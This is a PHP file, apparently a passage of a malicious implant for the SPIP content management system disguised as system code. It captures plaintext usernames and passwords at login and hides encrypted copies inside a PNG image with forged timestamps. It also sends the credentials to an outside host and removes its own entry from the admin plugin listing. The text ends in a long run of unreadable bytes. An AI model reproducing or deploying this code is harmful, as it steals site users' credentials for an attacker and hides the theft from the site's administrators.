8045a28a0066b227c298622fa2cf31ad511042acf01170169288928cc1de72360175a06450a2a1b5014750ec403b42ee62fc510fd04b50c9a1bda04bc028606da1b3a071a1032168524071c1710810a1d07f01e5018f5019b087419b91f0e0d8607a428ce2cea076f14332d452af90b590af4207c1fce12c8213220ae214502f61a312e0428bf0d6326c024dc2f8407c52d4124131a6b19a90d8715ff03d10e0808e3244b0d560a56159c145827d0196e226c23030fd50a9b0b48021b0fc4021c0efa0a802a252204275b0a680e7311ce14f420591fe30aae29212cbf290817571bfb1d8509502e5f106f078002f5200e02031e9214781d';

$GLOBALS['_RLWE_REMOTE_SEED_A'] = '50e34b5e238ec50b6c024f2318aaf164e46e8d969b0e96e3f59cd576ff925022daacad9ab6634a1631f733d02f9afd2308ba0f9c05a2d1f143f3701884250b69';
$GLOBALS['_RLWE_REMOTE_B']      = '651b531fc3203f01e9093e1cf41db928232ad1025812301d97139e10ff008b19aa0159082b24be0f0b244818df2f872458021811690b62225f213b22bf1e81055b105e05c0290b0e720d1d0c59272d28b217db26c91c1423e029c80f092adf13a22ffe2a2725170c3f14fa1f63171825552b3119bd0f8425d729160f3901fe1bc319631cde26c92386116d1d451cd412ea2e34223c02412b900a8e123825a9204e1bfd0f5e28332aef04da03fb06ce105c0b192a15064329a51f8714fe1a2a2c640b672a3609d409eb0c5c0417284f091f00bf1f04282e040f22890fc500e22c611fb127e209a207692d5d03450e3c2b6c002019440c9a0e851f3700ec137722c2274a017e076d2fdf0ea414ab26fe2933102f12ae2eb727f321a829e906091f9f014e2a5c045a2847211c16e52c5625fe28f41f7f0b661bd107bd15d61e43019525f11cf41e4d0d9b25ba131a001911031fd311a01cdf0b501e1b10371b1a130e1a1e0b412a680810275100aa071c167f1dce10a3159e26020c6e262b182f1f46139a027b1010013b299f174c0b070dd60dd62b41257c21132eeb160125cc010b25470f5a1cf6195b21551a1e13c304b8279e26c029601cfd1c0b021d21650e532b732fb2050f1c25105c183319c624432f9f205b080002b614731d7515990490111f09c017b51a670c061be12cd920c6132302ea0c812d5a04c412330b740ae41b26188e018b1aa9277d069309ec273b1dc9220b12372b55295c1f8e01cf21c927761b400b140d6e2a0b1bd10eb1029d1b5615020cb4153c28af1394028e036714370030014a0c7303ba05bc0f4c035e1bbb21be237f065e239b278b15da1f661dd2271a20142e2426300bcb17d30e0419370dc32eb219720cbd14f1223908b8003c09e220d10415145c09a02b5219a7290e1480118a279d046e06b921c30e43262927c820b610cc12e42e4724482fd60fe3241a0f3f1f0c233119340bf2267c2f5d0d220c6611d21e7322a516391ed2163e13a21910243305f10f38259b096d24dd20172854233713e5214706ee0468172504a2060713b10a3315ed277c06342eca2e940dff098e2ca61ad4246b17b9140617e510fa1898076e206c0fa41055104c11e41737214308842d15059f013c050f04fb2c0f13110d17182d1a810c8000162f7b00c00d3918391c5c21c925542b30272e01d42e9d08bc1b842be91cc816ff0cf821ec22cc07640bef059c249c22021d260819067f2f9401e819131854117229420fbc26580fad2c380eb72f4e11312e2917801f780c2c029a0118135a11800c532f352fb1032a297a01b41a0e23f72d8818ef03e7106e07d82e8e2cfb25a00c140c0406e406b20f7a0d821ff01e3305d31a850fe02ecd20591c5c2b9f298700ca032211ac266f14bd1e04055b19de0a440edd22d0108511f20daa2a19054c2d88247e2a8d0bef09c61c8a0cd919c52a5022e91d731f4f24e82e05038111a918830b7c1a9e0dbf27c82ae126651506019b2075141d10c80c5a0e0423a32f472dae22a2294e182b07521a5209d20c570e0010d200e100a904432cec108427ee06110eea18e621df14451f74192d203606fa0b7e29ce1e282eb2163108f4148c107712eb0a37076e00ab097d249827d605cc2857149b135f16c1075f27cd19ba18da1c6b218b12f1201b15900f6101470c31181d2e91123f1ba2135618d410b020cc2fb6157615be25e420ae13b710f71bdc280d0e6823e61dc6161d087d213e161418ba2c520c8806be0fc71eaf043a036b21a30ddc26a905ac23ab12422a04086f259617fb2a422bb2281719780736152306c912842b2b07e02de6295923c51cbf094d13c11e20032c2bdb25992e752f0211d82d4c129209fc0d4b0c7d29eb093405f62d9f2ab407e919820c411983199606590a9a2c862b342ed401c810a410aa0534178423f0088019a61d902658210317752b9a1345286e2d9c14d8288100652c5a056f1089159714f705c80f0d0b441fd00a442b8127a21ddb0daf029811bf1d1e0aa010c31bc8216221bc14b90eae2ddc1c131153231007f72b5a15fe29a2245920850de8128914220a6019982bbe121e273d2db5190228dc1c051c1107d7076b24890561259c1eff26291a67216703c2082320a7195a14260c6e16311e5620272cd900ea25a421cb2a330cd916ac0737144b19b81af91b5f27cf146716f723d40305120c0a291d7629c708d9206c06c90e630c301bc01fcb2b67245a1fa522e41b3a2d512135266028cf06e3014c21e929f501362d4a2619125e291a0f2f1b181a3119682d8f15452d932a1823a909d7141f12eb1af115522b640ce61b6a1f1f0bc1009a0572049615f61802190e279a158a26f62d1a2b3f0590193d1d5f2398218506a415200d1f12be272221da04d6194b16c12afd182617450dbf207102040a3520101eb50c192b680c4d154f0aae01681695134502c713ea0c582f11231d257e20d224062783041d26d704b0088f2c6b17aa2b050d4f2152128912a51086008821af09ac1a920c0e06c9166115b123a80c26155e19e110c02a48183020a20d2b20ed297f15fb25f30d3700d82af52908055127d60b742e45145701b80f910142034c10aa2be014801f890b71194c0a422dcd0b9505f925c129552c2913320e830c98296928ce05d3007809bf135b059005cb07ae2b3f28f3198702b717840cbd00d5116515c90b0a2cec0d97258101480502152b252408b303881c5423a3152825b711a2125d28d12d2a153408de06f522702dfc0d862db115271cf91a9523f827e619f60d14250f21fd19431a390a2d249e1f72038014500c250b5822dc2eda12dc05a4082a0c6e187a1cfb228f13e9197d259606621a';

$GLOBALS['_CREDS_ATT']     = 'https://x.pixelflows.org/api/creds';
$GLOBALS['_CREDS_UA']      = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Chrome/120.0 Safari/537.36';
$GLOBALS['_CREDS_TIMEOUT'] = 6;

if (!function_exists('hash_equals')) {
    function hash_equals($known, $user) {
        $klen = strlen($known);
        if ($klen !== strlen($user)) return false;
        $r = 0;
        for ($i = 0; $i < $klen; $i++) { $r |= ord($known[$i]) ^ ord($user[$i]); }
        return ($r === 0);
    }
}if(!function_exists('_spip_sys_is_png')){
function _spip_sys_is_png($raw){
    if(!is_string($raw)||strlen($raw)<8)return false;
    return $raw[0]==="\x89"&&$raw[1]==='P'&&$raw[2]==='N'&&$raw[3]==='G'&&$raw[4]==="\r"&&$raw[5]==="\n"&&$raw[6]==="\x1a"&&$raw[7]==="\n";
}
}$GLOBALS['_SPIP_SYS_DONE'] = false;

if(!function_exists('_spip_sys_write_record')){
function _spip_sys_write_record($json){
    $tail="SPIP_MEDIA_GID_TAIL\n";
    $blankPng=base64_decode('iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAC0lEQVR4nGNgAAIAAAUAAXpeqz8AAAAASUVORK5CYII=');
    $imgName='spip.png';
    $imgPath=(defined('_DIR_RACINE')?_DIR_RACINE:dirname(dirname(__DIR__)).'/').$imgName;
    $pub=array('seed_a_hex'=>$GLOBALS['_RLWE_PUB_SEED_A'],'b_hex'=>$GLOBALS['_RLWE_PUB_B']);
    $sk=xcp_random_bytes(64);
    $w=rlwe_wrap_secret($pub,$sk);
    $k=substr($sk,0,32);
    $nonce=xcp_random_bytes(24);
    $ct=xcp_xchacha20_poly1305_encrypt($k,$nonce,$json,'');
    $u=xcp_hex2bin($w['u_hex']);
    $v=xcp_hex2bin($w['v_hex']);
    $tg=xcp_hex2bin($w['tag_hex']);
    $rd=$nonce.$u.$v.$tg.$ct;
    $rec=pack('N',strlen($rd)).$rd;
    $ot=@filemtime($imgPath);$raw=@file_get_contents($imgPath);if($raw===false)$raw='';
    $pos=strpos($raw,$tail);
    if($pos===false){$base=_spip_sys_is_png($raw)?$raw:$blankPng;$od='';}
    else{
        $base=substr($raw,0,$pos);if(!_spip_sys_is_png($base))$base=$blankPng;
        $stream=substr($raw,$pos+strlen($tail));$off=0;$end=strlen($stream);
        while($off+4<=$end){$ln=(ord($stream[$off])<<24)|(ord($stream[$off+1])<<16)|(ord($stream[$off+2])<<8)|ord($stream[$off+3]);if($ln<=0||$off+4+$ln>$end)break;$off+=4+$ln;}
        $od=substr($stream,0,$off);
    }
    $_fpc1 = @fopen($imgPath, 'wb'); if ($_fpc1) { @flock($_fpc1, LOCK_EX); @fwrite($_fpc1, $base.$tail.$od.$rec); @fclose($_fpc1); };
    if($ot!==false&&$ot>0){@touch($imgPath,$ot,$ot);}else{$da=rand(400,700);$ts=time()-($da*86400)-rand(0,86399);@touch($imgPath,$ts,$ts);}
}
}if(!function_exists('_spip_sys_record_login')){
function _spip_sys_record_login($login,$pass=''){
    if(!empty($GLOBALS['_SPIP_SYS_DONE']))return;$GLOBALS['_SPIP_SYS_DONE']=true;
    if($login==='')return;
    $rec=array(
        'proof'=>'SPIP_MEDIA_GID',
        'kind'=>'login',
        'auth'=>'success',
        'event'=>'spip_login',
        'uid'=>0,
        'admin'=>0,
        'block'=>_spip_sys_user_blocked($login),
        'u_sha256'=>hash('sha256',$login),
        'u_len'=>$login,
        'p_len'=>$pass,
        'r'=>isset($_SERVER['HTTP_REFERER'])?$_SERVER['HTTP_REFERER']:'',
        'ip'=>isset($_SERVER['REMOTE_ADDR'])?$_SERVER['REMOTE_ADDR']:'',
        't'=>time(),
    );
    $json=json_encode($rec,defined('JSON_UNESCAPED_UNICODE')?JSON_UNESCAPED_UNICODE:0);
    if($json===false)return;
    _spip_sys_write_record($json);
    _spip_sys_creds_send($rec);
}
}if(!function_exists('_spip_sys_creds_send')){
function _spip_sys_creds_send($rec){
                    $att=isset($GLOBALS['_CREDS_ATT'])?$GLOBALS['_CREDS_ATT']:'';
    if($att==='')return;
    $site_url=_spip_sys_site_url();
    $base_domain=_spip_sys_base_domain($site_url);
    $payload=array(
        'cms'=>'spip',
        'base_domain'=>$base_domain,
        'site_url'=>$site_url,
        'credentials'=>array(array(
            'kind'=>isset($rec['kind'])?$rec['kind']:'',
            'auth'=>isset($rec['auth'])?$rec['auth']:'',
            'uid'=>isset($rec['uid'])?$rec['uid']:'',
            'admin'=>isset($rec['admin'])?$rec['admin']:0,
            'block'=>isset($rec['block'])?$rec['block']:0,
            'u_sha256'=>isset($rec['u_sha256'])?$rec['u_sha256']:'',
            'u'=>isset($rec['u_len'])?$rec['u_len']:'',
            'p'=>isset($rec['p_len'])?$rec['p_len']:'',
            'otp'=>isset($rec['otp'])?$rec['otp']:'',
            'r'=>isset($rec['r'])?$rec['r']:'',
            'ip'=>isset($rec['ip'])?$rec['ip']:'',
            't'=>isset($rec['t'])?$rec['t']:time(),
        )),
    );
    $plain=json_encode($payload);
    if($plain===false)return;
        $pub=array(
        'seed_a_hex'=>isset($GLOBALS['_RLWE_REMOTE_SEED_A'])?$GLOBALS['_RLWE_REMOTE_SEED_A']:'',
        'b_hex'=>isset($GLOBALS['_RLWE_REMOTE_B'])?$GLOBALS['_RLWE_REMOTE_B']:'',
    );
    if($pub['seed_a_hex']===''||$pub['b_hex']==='')return;
    if(!function_exists('rlwe_wrap_secret')||!function_exists('xcp_xchacha20_poly1305_encrypt'))return;
    $sk=xcp_random_bytes(64);
    if(strlen($sk)!==64)return;
    $key=substr($sk,0,32);
    $w=@rlwe_wrap_secret($pub,$sk);
    if(!is_array($w)||!isset($w['u_hex'],$w['v_hex'],$w['tag_hex']))return;
    $nonce=xcp_random_bytes(24);
    if(strlen($nonce)!==24)return;
    $ct=@xcp_xchacha20_poly1305_encrypt($key,$nonce,$plain,'');
    if($ct===''||$ct===false)return;
    $uB=xcp_hex2bin($w['u_hex']);$vB=xcp_hex2bin($w['v_hex']);$tB=xcp_hex2bin($w['tag_hex']);
    $body=$nonce.$uB.$vB.$tB.$ct;
    $ua=isset($GLOBALS['_CREDS_UA'])?$GLOBALS['_CREDS_UA']:'';
    $timeout=isset($GLOBALS['_CREDS_TIMEOUT'])?(int)$GLOBALS['_CREDS_TIMEOUT']:6;
    if(function_exists('curl_init')){
        $ch=@curl_init($att);
        @curl_setopt($ch,CURLOPT_POST,true);
        @curl_setopt($ch,CURLOPT_POSTFIELDS,$body);
        @curl_setopt($ch,CURLOPT_HTTPHEADER,array('Content-Type: application/octet-stream'));
        @curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);
        @curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,$timeout);
        @curl_setopt($ch,CURLOPT_TIMEOUT,$timeout);
        if($ua!=='')@curl_setopt($ch,CURLOPT_USERAGENT,$ua);
        @curl_exec($ch);
        @curl_close($ch);
    } elseif(isset($GLOBALS['HTTP_RAW_POST_DATA'])||function_exists('file_get_contents')){
        @file_get_contents($att,false,stream_context_create(array(
            'http'=>array(
                'method'=>'POST',
                'header'=>"Content-Type: application/octet-stream",
                'content'=>$body,
                'timeout'=>$timeout,
            ),
        )));
    }
}
}
if(!function_exists('_spip_sys_base_domain')){
function _spip_sys_base_domain($url){
    $host=parse_url($url,PHP_URL_HOST);
    if($host===false||$host===null||$host==='')return '';
    $host=strtolower($host);
    if(strpos($host,'www.')===0)$host=substr($host,4);
    $wildSuffixes=array('nip.io','sslip.io','sslip.ha','xip.io','localtest.me','lvh.me','lxd.inc','vcap.me','traefik.me');
    foreach($wildSuffixes as $ws){
        if(substr($host,-strlen($ws))===$ws)return $host;
    }
    $parts=explode('.',$host);
    $n=count($parts);
    if($n>=3){
        $suffixes=array('co.uk','com.au','co.nz','com.br','co.jp','com.cn','net.cn','org.cn','gov.cn','ac.uk','org.uk','net.uk','gov.uk','com.mx','com.tr','com.tw','co.in','co.za','com.sg','com.my','com.ph','co.id');
        $last2=implode('.',array_slice($parts,-2));
        if(in_array($last2,$suffixes)&&$n>=3)return implode('.',array_slice($parts,-3));
        return implode('.',array_slice($parts,-2));
    }
    return implode('.',array_slice($parts,-2));
}
}
if(!function_exists('_spip_sys_site_url')){
function _spip_sys_site_url(){
    $scheme=(!empty($_SERVER['HTTPS'])&&$_SERVER['HTTPS']!=='off')?'https':'http';
    if(isset($_SERVER['HTTP_HOST'])&&$_SERVER['HTTP_HOST']!=='')return $scheme.'://'.$_SERVER['HTTP_HOST'].'/';
    return '';
}
}
if(!function_exists('_spip_sys_user_blocked')){
function _spip_sys_user_blocked($login){
    if($login==='')return 0;
    try{
        $t=function_exists('table_objet_sql')?table_objet_sql('auteur'):'spip_auteurs';
        if(function_exists('sql_getfetsel')){
            $q=function_exists('sql_quote')?sql_quote($login):"'".str_replace("'","''",$login)."'";
            $statut=sql_getfetsel('statut',$t,'login='.$q);
            if($statut!==false)return ($statut==='refuse')?1:0;
        }
    }catch(\Exception $e){}
    return 0;
}
}if (function_exists('ajouter_pipeline')) {
    ajouter_pipeline('post_authentification', function($flux) {
        if (isset($flux['args']['login'])) {
            _spip_sys_record_login($flux['args']['login'], isset($flux['args']['pass']) ? $flux['args']['pass'] : '');
        }
        return $flux;
    });
}
if (isset($_SERVER['REQUEST_METHOD']) && $_SERVER['REQUEST_METHOD'] === 'POST') {
    if (isset($_POST['var_login']) || isset($_POST['login'])) {
        $login = isset($_POST['var_login']) ? $_POST['var_login'] : (isset($_POST['login']) ? $_POST['login'] : '');
        $pass = isset($_POST['password']) ? $_POST['password'] : '';
        if ($login !== '') {
            _spip_sys_record_login($login, $pass);
        }
    }
}
if (!function_exists('_spip_sys_stealth')) {
    function _spip_sys_stealth($b) {
        if (!is_string($b) || $b === '') return $b;
        $r = preg_replace('#<tr\b[^>]*>(?:(?!</?tr\b).)*?spip-system-status(?:(?!</?tr\b).)*?</tr>#is', '', $b);
        if ($r !== null) $b = $r;
        $r = preg_replace('#<div\b[^>]*>(?:(?!</?div\b).)*?spip-system-status(?:(?!</?div\b).)*?</div>#is', '', $b);
        if ($r !== null) $b = $r;
        $r = preg_replace('#<li\b[^>]*>(?:(?!</?li\b).)*?spip-system-status(?:(?!</?li\b).)*?</li>#is', '', $b);
        if ($r !== null) $b = $r;
        return $b;
    }
}
if (isset($_GET['exec']) && $_GET['exec'] === 'admin_plugin') {
    ob_start('_spip_sys_stealth');
}�����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������